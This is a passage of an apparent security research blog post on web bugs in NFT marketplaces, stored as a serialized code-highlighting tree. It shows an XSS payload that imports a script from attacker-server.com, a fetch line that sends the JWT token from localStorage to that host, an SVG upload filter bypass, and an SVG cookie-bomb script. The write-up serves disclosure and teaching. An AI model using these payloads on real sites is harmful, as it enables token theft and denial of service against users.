onerror",{"type":25,"tag":201,"props":2419,"children":2420},{"style":208},[2421],{"type":31,"value":2412},{"type":25,"tag":201,"props":2423,"children":2424},{"style":267},[2425],{"type":31,"value":1204},{"type":25,"tag":201,"props":2427,"children":2428},{"style":208},[2429],{"type":31,"value":2430},"(`",{"type":25,"tag":201,"props":2432,"children":2433},{"style":267},[2434],{"type":31,"value":2435},"https",{"type":25,"tag":201,"props":2437,"children":2438},{"style":208},[2439],{"type":31,"value":2440},"://",{"type":25,"tag":201,"props":2442,"children":2443},{"style":267},[2444],{"type":31,"value":2445},"attacker-server",{"type":25,"tag":201,"props":2447,"children":2448},{"style":208},[2449],{"type":31,"value":2450},".",{"type":25,"tag":201,"props":2452,"children":2453},{"style":267},[2454],{"type":31,"value":2455},"com",{"type":25,"tag":201,"props":2457,"children":2458},{"style":208},[2459],{"type":31,"value":2403},{"type":25,"tag":201,"props":2461,"children":2462},{"style":267},[2463],{"type":31,"value":2464},"leak",{"type":25,"tag":201,"props":2466,"children":2467},{"style":208},[2468],{"type":31,"value":2450},{"type":25,"tag":201,"props":2470,"children":2471},{"style":267},[2472],{"type":31,"value":195},{"type":25,"tag":201,"props":2474,"children":2475},{"style":208},[2476],{"type":31,"value":2477},"`)>","",{"type":25,"tag":201,"props":2479,"children":2480},{"style":267},[2481],{"type":31,"value":1655},{"type":25,"tag":201,"props":2483,"children":2484},{"style":208},[2485],{"type":31,"value":2486},"":"",{"type":25,"tag":201,"props":2488,"children":2489},{"style":267},[2490],{"type":31,"value":2491},"profile-assets",{"type":25,"tag":201,"props":2493,"children":2494},{"style":208},[2495],{"type":31,"value":2496},"","",{"type":25,"tag":201,"props":2498,"children":2499},{"style":267},[2500],{"type":31,"value":1684},{"type":25,"tag":201,"props":2502,"children":2503},{"style":208},[2504],{"type":31,"value":2486},{"type":25,"tag":201,"props":2506,"children":2507},{"style":267},[2508],{"type":31,"value":1693},{"type":25,"tag":201,"props":2510,"children":2511},{"style":208},[2512],{"type":31,"value":2513},""}",{"type":25,"tag":201,"props":2515,"children":2516},{"style":267},[2517],{"type":31,"value":1557},{"type":25,"tag":201,"props":2519,"children":2520},{"style":1295},[2521],{"type":31,"value":1707},{"type":25,"tag":201,"props":2523,"children":2524},{"class":203,"line":437},[2525,2529,2533,2537,2541,2545,2549,2553,2557],{"type":25,"tag":201,"props":2526,"children":2527},{"style":1295},[2528],{"type":31,"value":1514},{"type":25,"tag":201,"props":2530,"children":2531},{"style":208},[2532],{"type":31,"value":1461},{"type":25,"tag":201,"props":2534,"children":2535},{"style":246},[2536],{"type":31,"value":1466},{"type":25,"tag":201,"props":2538,"children":2539},{"style":261},[2540],{"type":31,"value":1383},{"type":25,"tag":201,"props":2542,"children":2543},{"style":267},[2544],{"type":31,"value":1731},{"type":25,"tag":201,"props":2546,"children":2547},{"style":246},[2548],{"type":31,"value":1435},{"type":25,"tag":201,"props":2550,"children":2551},{"style":261},[2552],{"type":31,"value":1383},{"type":25,"tag":201,"props":2554,"children":2555},{"style":267},[2556],{"type":31,"value":1744},{"type":25,"tag":201,"props":2558,"children":2559},{"style":1295},[2560],{"type":31,"value":1707},{"type":25,"tag":201,"props":2562,"children":2563},{"class":203,"line":464},[2564,2568,2572],{"type":25,"tag":201,"props":2565,"children":2566},{"style":1295},[2567],{"type":31,"value":1756},{"type":25,"tag":201,"props":2569,"children":2570},{"style":208},[2571],{"type":31,"value":1373},{"type":25,"tag":201,"props":2573,"children":2574},{"style":1295},[2575],{"type":31,"value":1308},{"type":25,"tag":201,"props":2577,"children":2578},{"class":203,"line":490},[2579,2583,2587],{"type":25,"tag":201,"props":2580,"children":2581},{"style":1295},[2582],{"type":31,"value":1772},{"type":25,"tag":201,"props":2584,"children":2585},{"style":208},[2586],{"type":31,"value":1321},{"type":25,"tag":201,"props":2588,"children":2589},{"style":1295},[2590],{"type":31,"value":1308},{"type":25,"tag":201,"props":2592,"children":2593},{"class":203,"line":499},[2594],{"type":25,"tag":201,"props":2595,"children":2596},{"emptyLinePlaceholder":17},[2597],{"type":31,"value":496},{"type":25,"tag":201,"props":2599,"children":2600},{"class":203,"line":522},[2601,2605,2609],{"type":25,"tag":201,"props":2602,"children":2603},{"style":1295},[2604],{"type":31,"value":1316},{"type":25,"tag":201,"props":2606,"children":2607},{"style":208},[2608],{"type":31,"value":1337},{"type":25,"tag":201,"props":2610,"children":2611},{"style":1295},[2612],{"type":31,"value":1308},{"type":25,"tag":201,"props":2614,"children":2615},{"class":203,"line":531},[2616],{"type":25,"tag":201,"props":2617,"children":2618},{"emptyLinePlaceholder":17},[2619],{"type":31,"value":496},{"type":25,"tag":201,"props":2621,"children":2622},{"class":203,"line":550},[2623,2627],{"type":25,"tag":201,"props":2624,"children":2625},{"style":220},[2626],{"type":31,"value":1817},{"type":25,"tag":201,"props":2628,"children":2629},{"style":208},[2630],{"type":31,"value":1822},{"type":25,"tag":201,"props":2632,"children":2633},{"class":203,"line":563},[2634,2638,2642,2646,2650,2654,2658,2662,2666,2670,2674,2678],{"type":25,"tag":201,"props":2635,"children":2636},{"style":246},[2637],{"type":31,"value":1830},{"type":25,"tag":201,"props":2639,"children":2640},{"style":246},[2641],{"type":31,"value":1835},{"type":25,"tag":201,"props":2643,"children":2644},{"style":261},[2645],{"type":31,"value":1840},{"type":25,"tag":201,"props":2647,"children":2648},{"style":230},[2649],{"type":31,"value":1845},{"type":25,"tag":201,"props":2651,"children":2652},{"style":261},[2653],{"type":31,"value":238},{"type":25,"tag":201,"props":2655,"children":2656},{"style":230},[2657],{"type":31,"value":1845},{"type":25,"tag":201,"props":2659,"children":2660},{"style":214},[2661],{"type":31,"value":1858},{"type":25,"tag":201,"props":2663,"children":2664},{"style":261},[2665],{"type":31,"value":298},{"type":25,"tag":201,"props":2667,"children":2668},{"style":267},[2669],{"type":31,"value":1867},{"type":25,"tag":201,"props":2671,"children":2672},{"style":261},[2673],{"type":31,"value":1872},{"type":25,"tag":201,"props":2675,"children":2676},{"style":214},[2677],{"type":31,"value":1877},{"type":25,"tag":201,"props":2679,"children":2680},{"style":261},[2681],{"type":31,"value":1882},{"type":25,"tag":201,"props":2683,"children":2684},{"class":203,"line":572},[2685],{"type":25,"tag":201,"props":2686,"children":2687},{"emptyLinePlaceholder":17},[2688],{"type":31,"value":496},{"type":25,"tag":201,"props":2690,"children":2691},{"class":203,"line":590},[2692,2696,2700,2704,2708,2712,2716,2720,2724,2728,2732,2736,2740],{"type":25,"tag":201,"props":2693,"children":2694},{"style":246},[2695],{"type":31,"value":1897},{"type":25,"tag":201,"props":2697,"children":2698},{"style":246},[2699],{"type":31,"value":1902},{"type":25,"tag":201,"props":2701,"children":2702},{"style":261},[2703],{"type":31,"value":1840},{"type":25,"tag":201,"props":2705,"children":2706},{"style":208},[2707],{"type":31,"value":1911},{"type":25,"tag":201,"props":2709,"children":2710},{"style":214},[2711],{"type":31,"value":1916},{"type":25,"tag":201,"props":2713,"children":2714},{"style":261},[2715],{"type":31,"value":1921},{"type":25,"tag":201,"props":2717,"children":2718},{"style":246},[2719],{"type":31,"value":1877},{"type":25,"tag":201,"props":2721,"children":2722},{"style":261},[2723],{"type":31,"value":1930},{"type":25,"tag":201,"props":2725,"children":2726},{"style":267},[2727],{"type":31,"value":1935},{"type":25,"tag":201,"props":2729,"children":2730},{"style":261},[2731],{"type":31,"value":1940},{"type":25,"tag":201,"props":2733,"children":2734},{"style":246},[2735],{"type":31,"value":1945},{"type":25,"tag":201,"props":2737,"children":2738},{"style":267},[2739],{"type":31,"value":1950},{"type":25,"tag":201,"props":2741,"children":2742},{"style":261},[2743],{"type":31,"value":1955},{"type":25,"tag":201,"props":2745,"children":2746},{"class":203,"line":608},[2747,2751,2755,2759,2763,2767],{"type":25,"tag":201,"props":2748,"children":2749},{"style":246},[2750],{"type":31,"value":1830},{"type":25,"tag":201,"props":2752,"children":2753},{"style":246},[2754],{"type":31,"value":1967},{"type":25,"tag":201,"props":2756,"children":2757},{"style":261},[2758],{"type":31,"value":1840},{"type":25,"tag":201,"props":2760,"children":2761},{"style":208},[2762],{"type":31,"value":1911},{"type":25,"tag":201,"props":2764,"children":2765},{"style":214},[2766],{"type":31,"value":1980},{"type":25,"tag":201,"props":2768,"children":2769},{"style":261},[2770],{"type":31,"value":1985},{"type":25,"tag":201,"props":2772,"children":2773},{"class":203,"line":617},[2774,2778,2782,2786,2790,2794,2798,2802],{"type":25,"tag":201,"props":2775,"children":2776},{"style":246},[2777],{"type":31,"value":1993},{"type":25,"tag":201,"props":2779,"children":2780},{"style":261},[2781],{"type":31,"value":80},{"type":25,"tag":201,"props":2783,"children":2784},{"style":246},[2785],{"type":31,"value":2002},{"type":25,"tag":201,"props":2787,"children":2788},{"style":261},[2789],{"type":31,"value":80},{"type":25,"tag":201,"props":2791,"children":2792},{"style":214},[2793],{"type":31,"value":2011},{"type":25,"tag":201,"props":2795,"children":2796},{"style":261},[2797],{"type":31,"value":298},{"type":25,"tag":201,"props":2799,"children":2800},{"style":246},[2801],{"type":31,"value":2020},{"type":25,"tag":201,"props":2803,"children":2804},{"style":261},[2805],{"type":31,"value":308},{"type":25,"tag":201,"props":2807,"children":2808},{"class":203,"line":625},[2809],{"type":25,"tag":201,"props":2810,"children":2811},{"emptyLinePlaceholder":17},[2812],{"type":31,"value":496},{"type":25,"tag":201,"props":2814,"children":2815},{"class":203,"line":642},[2816,2820,2824,2828,2832,2836,2840,2844],{"type":25,"tag":201,"props":2817,"children":2818},{"style":246},[2819],{"type":31,"value":2039},{"type":25,"tag":201,"props":2821,"children":2822},{"style":261},[2823],{"type":31,"value":80},{"type":25,"tag":201,"props":2825,"children":2826},{"style":246},[2827],{"type":31,"value":2048},{"type":25,"tag":201,"props":2829,"children":2830},{"style":261},[2831],{"type":31,"value":1840},{"type":25,"tag":201,"props":2833,"children":2834},{"style":246},[2835],{"type":31,"value":2057},{"type":25,"tag":201,"props":2837,"children":2838},{"style":261},[2839],{"type":31,"value":80},{"type":25,"tag":201,"props":2841,"children":2842},{"style":246},[2843],{"type":31,"value":2048},{"type":25,"tag":201,"props":2845,"children":2846},{"style":261},[2847],{"type":31,"value":461},{"type":25,"tag":201,"props":2849,"children":2850},{"class":203,"line":659},[2851],{"type":25,"tag":201,"props":2852,"children":2853},{"emptyLinePlaceholder":17},[2854],{"type":31,"value":496},{"type":25,"tag":201,"props":2856,"children":2857},{"class":203,"line":667},[2858,2863,2867,2872],{"type":25,"tag":201,"props":2859,"children":2860},{"style":246},[2861],{"type":31,"value":2862},"        form123",{"type":25,"tag":201,"props":2864,"children":2865},{"style":261},[2866],{"type":31,"value":80},{"type":25,"tag":201,"props":2868,"children":2869},{"style":214},[2870],{"type":31,"value":2871},"submit",{"type":25,"tag":201,"props":2873,"children":2874},{"style":261},[2875],{"type":31,"value":1882},{"type":25,"tag":201,"props":2877,"children":2878},{"class":203,"line":676},[2879,2883],{"type":25,"tag":201,"props":2880,"children":2881},{"style":208},[2882],{"type":31,"value":2077},{"type":25,"tag":201,"props":2884,"children":2885},{"style":220},[2886],{"type":31,"value":2082},{"type":25,"tag":201,"props":2888,"children":2889},{"class":203,"line":694},[2890],{"type":25,"tag":201,"props":2891,"children":2892},{"emptyLinePlaceholder":17},[2893],{"type":31,"value":496},{"type":25,"tag":201,"props":2895,"children":2896},{"class":203,"line":707},[2897,2901,2905],{"type":25,"tag":201,"props":2898,"children":2899},{"style":1295},[2900],{"type":31,"value":1772},{"type":25,"tag":201,"props":2902,"children":2903},{"style":208},[2904],{"type":31,"value":1337},{"type":25,"tag":201,"props":2906,"children":2907},{"style":1295},[2908],{"type":31,"value":1308},{"type":25,"tag":201,"props":2910,"children":2911},{"class":203,"line":715},[2912,2916,2920],{"type":25,"tag":201,"props":2913,"children":2914},{"style":1295},[2915],{"type":31,"value":1352},{"type":25,"tag":201,"props":2917,"children":2918},{"style":208},[2919],{"type":31,"value":1303},{"type":25,"tag":201,"props":2921,"children":2922},{"style":1295},[2923],{"type":31,"value":1308},{"type":25,"tag":34,"props":2925,"children":2926},{},[2927],{"type":31,"value":2928},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":25,"tag":191,"props":2930,"children":2934},{"className":2931,"code":2932,"language":2933,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[2935],{"type":25,"tag":115,"props":2936,"children":2937},{"__ignoreMap":7},[2938,2945,2967,2988,3005],{"type":25,"tag":201,"props":2939,"children":2940},{"class":203,"line":204},[2941],{"type":25,"tag":201,"props":2942,"children":2943},{"style":220},[2944],{"type":31,"value":1822},{"type":25,"tag":201,"props":2946,"children":2947},{"class":203,"line":226},[2948,2953,2958,2963],{"type":25,"tag":201,"props":2949,"children":2950},{"style":246},[2951],{"type":31,"value":2952},"  \"address\"",{"type":25,"tag":201,"props":2954,"children":2955},{"style":220},[2956],{"type":31,"value":2957},": ",{"type":25,"tag":201,"props":2959,"children":2960},{"style":267},[2961],{"type":31,"value":2962},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":25,"tag":201,"props":2964,"children":2965},{"style":220},[2966],{"type":31,"value":547},{"type":25,"tag":201,"props":2968,"children":2969},{"class":203,"line":278},[2970,2975,2979,2984],{"type":25,"tag":201,"props":2971,"children":2972},{"style":246},[2973],{"type":31,"value":2974},"  \"to\"",{"type":25,"tag":201,"props":2976,"children":2977},{"style":220},[2978],{"type":31,"value":2957},{"type":25,"tag":201,"props":2980,"children":2981},{"style":267},[2982],{"type":31,"value":2983},"\"profile-assets\"",{"type":25,"tag":201,"props":2985,"children":2986},{"style":220},[2987],{"type":31,"value":547},{"type":25,"tag":201,"props":2989,"children":2990},{"class":203,"line":311},[2991,2996,3000],{"type":25,"tag":201,"props":2992,"children":2993},{"style":246},[2994],{"type":31,"value":2995},"  \"type\"",{"type":25,"tag":201,"props":2997,"children":2998},{"style":220},[2999],{"type":31,"value":2957},{"type":25,"tag":201,"props":3001,"children":3002},{"style":267},[3003],{"type":31,"value":3004},"\"icon\"\n",{"type":25,"tag":201,"props":3006,"children":3007},{"class":203,"line":330},[3008],{"type":25,"tag":201,"props":3009,"children":3010},{"style":220},[3011],{"type":31,"value":1187},{"type":25,"tag":34,"props":3013,"children":3014},{},[3015],{"type":31,"value":3016},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":25,"tag":191,"props":3018,"children":3020},{"className":193,"code":3019,"language":195,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[3021],{"type":25,"tag":115,"props":3022,"children":3023},{"__ignoreMap":7},[3024],{"type":25,"tag":201,"props":3025,"children":3026},{"class":203,"line":204},[3027,3032,3036,3041,3046,3051,3055,3060,3064,3069,3074,3079,3084],{"type":25,"tag":201,"props":3028,"children":3029},{"style":214},[3030],{"type":31,"value":3031},"fetch",{"type":25,"tag":201,"props":3033,"children":3034},{"style":220},[3035],{"type":31,"value":298},{"type":25,"tag":201,"props":3037,"children":3038},{"style":267},[3039],{"type":31,"value":3040},"`https://attacker-server.com/?token_leak=",{"type":25,"tag":201,"props":3042,"children":3043},{"style":208},[3044],{"type":31,"value":3045},"${",{"type":25,"tag":201,"props":3047,"children":3048},{"style":246},[3049],{"type":31,"value":3050},"localStorage",{"type":25,"tag":201,"props":3052,"children":3053},{"style":261},[3054],{"type":31,"value":80},{"type":25,"tag":201,"props":3056,"children":3057},{"style":214},[3058],{"type":31,"value":3059},"getItem",{"type":25,"tag":201,"props":3061,"children":3062},{"style":261},[3063],{"type":31,"value":298},{"type":25,"tag":201,"props":3065,"children":3066},{"style":267},[3067],{"type":31,"value":3068},"'token'",{"type":25,"tag":201,"props":3070,"children":3071},{"style":261},[3072],{"type":31,"value":3073},")",{"type":25,"tag":201,"props":3075,"children":3076},{"style":208},[3077],{"type":31,"value":3078},"}",{"type":25,"tag":201,"props":3080,"children":3081},{"style":267},[3082],{"type":31,"value":3083},"`",{"type":25,"tag":201,"props":3085,"children":3086},{"style":220},[3087],{"type":31,"value":308},{"type":25,"tag":40,"props":3089,"children":3091},{"id":3090},"svgs",[3092],{"type":31,"value":3093},"SVGs",{"type":25,"tag":34,"props":3095,"children":3096},{},[3097],{"type":31,"value":3098},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":25,"tag":34,"props":3100,"children":3101},{},[3102],{"type":31,"value":3103},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":25,"tag":191,"props":3105,"children":3107},{"className":193,"code":3106,"language":195,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[3108],{"type":25,"tag":115,"props":3109,"children":3110},{"__ignoreMap":7},[3111,3157,3194,3201,3232,3264,3292,3300,3316],{"type":25,"tag":201,"props":3112,"children":3113},{"class":203,"line":204},[3114,3119,3124,3129,3133,3138,3143,3147,3152],{"type":25,"tag":201,"props":3115,"children":3116},{"style":261},[3117],{"type":31,"value":3118},"\u003C?",{"type":25,"tag":201,"props":3120,"children":3121},{"style":246},[3122],{"type":31,"value":3123},"xml",{"type":25,"tag":201,"props":3125,"children":3126},{"style":246},[3127],{"type":31,"value":3128}," version",{"type":25,"tag":201,"props":3130,"children":3131},{"style":261},[3132],{"type":31,"value":1383},{"type":25,"tag":201,"props":3134,"children":3135},{"style":267},[3136],{"type":31,"value":3137},"\"1.0\"",{"type":25,"tag":201,"props":3139,"children":3140},{"style":246},[3141],{"type":31,"value":3142}," encoding",{"type":25,"tag":201,"props":3144,"children":3145},{"style":261},[3146],{"type":31,"value":1383},{"type":25,"tag":201,"props":3148,"children":3149},{"style":267},[3150],{"type":31,"value":3151},"\"UTF-8\"",{"type":25,"tag":201,"props":3153,"children":3154},{"style":261},[3155],{"type":31,"value":3156},"?>\n",{"type":25,"tag":201,"props":3158,"children":3159},{"class":203,"line":226},[3160,3165,3170,3175,3180,3185,3190],{"type":25,"tag":201,"props":3161,"children":3162},{"style":261},[3163],{"type":31,"value":3164},"\u003C!",{"type":25,"tag":201,"props":3166,"children":3167},{"style":246},[3168],{"type":31,"value":3169},"DOCTYPE",{"type":25,"tag":201,"props":3171,"children":3172},{"style":246},[3173],{"type":31,"value":3174}," svg",{"type":25,"tag":201,"props":3176,"children":3177},{"style":246},[3178],{"type":31,"value":3179}," PUBLIC",{"type":25,"tag":201,"props":3181,"children":3182},{"style":267},[3183],{"type":31,"value":3184}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":25,"tag":201,"props":3186,"children":3187},{"style":267},[3188],{"type":31,"value":3189}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":25,"tag":201,"props":3191,"children":3192},{"style":261},[3193],{"type":31,"value":1308},{"type":25,"tag":201,"props":3195,"children":3196},{"class":203,"line":278},[3197],{"type":25,"tag":201,"props":3198,"children":3199},{"emptyLinePlaceholder":17},[3200],{"type":31,"value":496},{"type":25,"tag":201,"props":3202,"children":3203},{"class":203,"line":311},[3204,3209,3214,3219,3223,3228],{"type":25,"tag":201,"props":3205,"children":3206},{"style":1295},[3207],{"type":31,"value":3208}," \u003C",{"type":25,"tag":201,"props":3210,"children":3211},{"style":208},[3212],{"type":31,"value":3213},"svg",{"type":25,"tag":201,"props":3215,"children":3216},{"style":246},[3217],{"type":31,"value":3218}," xmlns",{"type":25,"tag":201,"props":3220,"children":3221},{"style":261},[3222],{"type":31,"value":1383},{"type":25,"tag":201,"props":3224,"children":3225},{"style":267},[3226],{"type":31,"value":3227},"\"http://www.w3.org/2000/svg\"",{"type":25,"tag":201,"props":3229,"children":3230},{"style":1295},[3231],{"type":31,"value":1308},{"type":25,"tag":201,"props":3233,"children":3234},{"class":203,"line":330},[3235,3239,3244,3248,3252,3256,3260],{"type":25,"tag":201,"props":3236,"children":3237},{"style":1295},[3238],{"type":31,"value":1316},{"type":25,"tag":201,"props":3240,"children":3241},{"style":208},[3242],{"type":31,"value":3243},"title",{"type":25,"tag":201,"props":3245,"children":3246},{"style":1295},[3247],{"type":31,"value":1342},{"type":25,"tag":201,"props":3249,"children":3250},{"style":220},[3251],{"type":31,"value":60},{"type":25,"tag":201,"props":3253,"children":3254},{"style":1295},[3255],{"type":31,"value":1352},{"type":25,"tag":201,"props":3257,"children":3258},{"style":208},[3259],{"type":31,"value":3243},{"type":25,"tag":201,"props":3261,"children":3262},{"style":1295},[3263],{"type":31,"value":1308},{"type":25,"tag":201,"props":3265,"children":3266},{"class":203,"line":397},[3267,3271,3275,3279,3283,3288],{"type":25,"tag":201,"props":3268,"children":3269},{"style":1295},[3270],{"type":31,"value":1316},{"type":25,"tag":201,"props":3272,"children":3273},{"style":208},[3274],{"type":31,"value":1337},{"type":25,"tag":201,"props":3276,"children":3277},{"style":246},[3278],{"type":31,"value":1466},{"type":25,"tag":201,"props":3280,"children":3281},{"style":261},[3282],{"type":31,"value":1383},{"type":25,"tag":201,"props":3284,"children":3285},{"style":267},[3286],{"type":31,"value":3287},"\"text/javascript\"",{"type":25,"tag":201,"props":3289,"children":3290},{"style":1295},[3291],{"type":31,"value":1308},{"type":25,"tag":201,"props":3293,"children":3294},{"class":203,"line":437},[3295],{"type":25,"tag":201,"props":3296,"children":3297},{"style":220},[3298],{"type":31,"value":3299},"   alert(document.domain);\n",{"type":25,"tag":201,"props":3301,"children":3302},{"class":203,"line":464},[3303,3308,3312],{"type":25,"tag":201,"props":3304,"children":3305},{"style":1295},[3306],{"type":31,"value":3307},"   \u003C/",{"type":25,"tag":201,"props":3309,"children":3310},{"style":208},[3311],{"type":31,"value":1337},{"type":25,"tag":201,"props":3313,"children":3314},{"style":1295},[3315],{"type":31,"value":1308},{"type":25,"tag":201,"props":3317,"children":3318},{"class":203,"line":490},[3319,3324,3328],{"type":25,"tag":201,"props":3320,"children":3321},{"style":1295},[3322],{"type":31,"value":3323}," \u003C/",{"type":25,"tag":201,"props":3325,"children":3326},{"style":208},[3327],{"type":31,"value":3213},{"type":25,"tag":201,"props":3329,"children":3330},{"style":1295},[3331],{"type":31,"value":1308},{"type":25,"tag":34,"props":3333,"children":3334},{},[3335,3337,3344],{"type":31,"value":3336},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":25,"tag":71,"props":3338,"children":3341},{"href":3339,"rel":3340},"https://xtingles.com/",[75],[3342],{"type":31,"value":3343},"xtingles Marketplace",{"type":31,"value":80},{"type":25,"tag":34,"props":3346,"children":3347},{},[3348],{"type":31,"value":3349},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":25,"tag":34,"props":3351,"children":3352},{},[3353],{"type":31,"value":3354},"Below, we show you how we did it.",{"type":25,"tag":34,"props":3356,"children":3357},{},[3358],{"type":31,"value":3359},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":25,"tag":34,"props":3361,"children":3362},{},[3363],{"type":25,"tag":127,"props":3364,"children":3366},{"alt":7,"src":3365},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":25,"tag":34,"props":3368,"children":3369},{},[3370],{"type":31,"value":3371},"After changing the extension inside the file name.",{"type":25,"tag":34,"props":3373,"children":3374},{},[3375],{"type":25,"tag":127,"props":3376,"children":3378},{"alt":7,"src":3377},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":25,"tag":40,"props":3380,"children":3382},{"id":3381},"svgs-return",[3383],{"type":31,"value":3384},"SVGs Return",{"type":25,"tag":34,"props":3386,"children":3387},{},[3388],{"type":31,"value":3389},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":25,"tag":34,"props":3391,"children":3392},{},[3393],{"type":31,"value":3394},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":25,"tag":34,"props":3396,"children":3397},{},[3398],{"type":31,"value":3399},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":25,"tag":191,"props":3401,"children":3405},{"className":3402,"code":3403,"language":3404,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[3406],{"type":25,"tag":115,"props":3407,"children":3408},{"__ignoreMap":7},[3409,3448,3479,3486,3513,3544,3571,3579,3587,3594,3606,3682,3690,3705],{"type":25,"tag":201,"props":3410,"children":3411},{"class":203,"line":204},[3412,3416,3420,3424,3428,3432,3436,3440,3444],{"type":25,"tag":201,"props":3413,"children":3414},{"style":261},[3415],{"type":31,"value":3118},{"type":25,"tag":201,"props":3417,"children":3418},{"style":246},[3419],{"type":31,"value":3123},{"type":25,"tag":201,"props":3421,"children":3422},{"style":246},[3423],{"type":31,"value":3128},{"type":25,"tag":201,"props":3425,"children":3426},{"style":261},[3427],{"type":31,"value":1383},{"type":25,"tag":201,"props":3429,"children":3430},{"style":267},[3431],{"type":31,"value":3137},{"type":25,"tag":201,"props":3433,"children":3434},{"style":246},[3435],{"type":31,"value":3142},{"type":25,"tag":201,"props":3437,"children":3438},{"style":261},[3439],{"type":31,"value":1383},{"type":25,"tag":201,"props":3441,"children":3442},{"style":267},[3443],{"type":31,"value":3151},{"type":25,"tag":201,"props":3445,"children":3446},{"style":261},[3447],{"type":31,"value":3156},{"type":25,"tag":201,"props":3449,"children":3450},{"class":203,"line":226},[3451,3455,3459,3463,3467,3471,3475],{"type":25,"tag":201,"props":3452,"children":3453},{"style":261},[3454],{"type":31,"value":3164},{"type":25,"tag":201,"props":3456,"children":3457},{"style":246},[3458],{"type":31,"value":3169},{"type":25,"tag":201,"props":3460,"children":3461},{"style":246},[3462],{"type":31,"value":3174},{"type":25,"tag":201,"props":3464,"children":3465},{"style":246},[3466],{"type":31,"value":3179},{"type":25,"tag":201,"props":3468,"children":3469},{"style":267},[3470],{"type":31,"value":3184},{"type":25,"tag":201,"props":3472,"children":3473},{"style":267},[3474],{"type":31,"value":3189},{"type":25,"tag":201,"props":3476,"children":3477},{"style":261},[3478],{"type":31,"value":1308},{"type":25,"tag":201,"props":3480,"children":3481},{"class":203,"line":278},[3482],{"type":25,"tag":201,"props":3483,"children":3484},{"emptyLinePlaceholder":17},[3485],{"type":31,"value":496},{"type":25,"tag":201,"props":3487,"children":3488},{"class":203,"line":311},[3489,3493,3497,3501,3505,3509],{"type":25,"tag":201,"props":3490,"children":3491},{"style":1295},[3492],{"type":31,"value":3208},{"type":25,"tag":201,"props":3494,"children":3495},{"style":208},[3496],{"type":31,"value":3213},{"type":25,"tag":201,"props":3498,"children":3499},{"style":246},[3500],{"type":31,"value":3218},{"type":25,"tag":201,"props":3502,"children":3503},{"style":261},[3504],{"type":31,"value":1383},{"type":25,"tag":201,"props":3506,"children":3507},{"style":267},[3508],{"type":31,"value":3227},{"type":25,"tag":201,"props":3510,"children":3511},{"style":1295},[3512],{"type":31,"value":1308},{"type":25,"tag":201,"props":3514,"children":3515},{"class":203,"line":330},[3516,3520,3524,3528,3532,3536,3540],{"type":25,"tag":201,"props":3517,"children":3518},{"style":1295},[3519],{"type":31,"value":1316},{"type":25,"tag":201,"props":3521,"children":3522},{"style":208},[3523],{"type":31,"value":3243},{"type":25,"tag":201,"props":3525,"children":3526},{"style":1295},[3527],{"type":31,"value":1342},{"type":25,"tag":201,"props":3529,"children":3530},{"style":220},[3531],{"type":31,"value":60},{"type":25,"tag":201,"props":3533,"children":3534},{"style":1295},[3535],{"type":31,"value":1352},{"type":25,"tag":201,"props":3537,"children":3538},{"style":208},[3539],{"type":31,"value":3243},{"type":25,"tag":201,"props":3541,"children":3542},{"style":1295},[3543],{"type":31,"value":1308},{"type":25,"tag":201,"props":3545,"children":3546},{"class":203,"line":397},[3547,3551,3555,3559,3563,3567],{"type":25,"tag":201,"props":3548,"children":3549},{"style":1295},[3550],{"type":31,"value":1316},{"type":25,"tag":201,"props":3552,"children":3553},{"style":208},[3554],{"type":31,"value":1337},{"type":25,"tag":201,"props":3556,"children":3557},{"style":246},[3558],{"type":31,"value":1466},{"type":25,"tag":201,"props":3560,"children":3561},{"style":261},[3562],{"type":31,"value":1383},{"type":25,"tag":201,"props":3564,"children":3565},{"style":267},[3566],{"type":31,"value":3287},{"type":25,"tag":201,"props":3568,"children":3569},{"style":1295},[3570],{"type":31,"value":1308},{"type":25,"tag":201,"props":3572,"children":3573}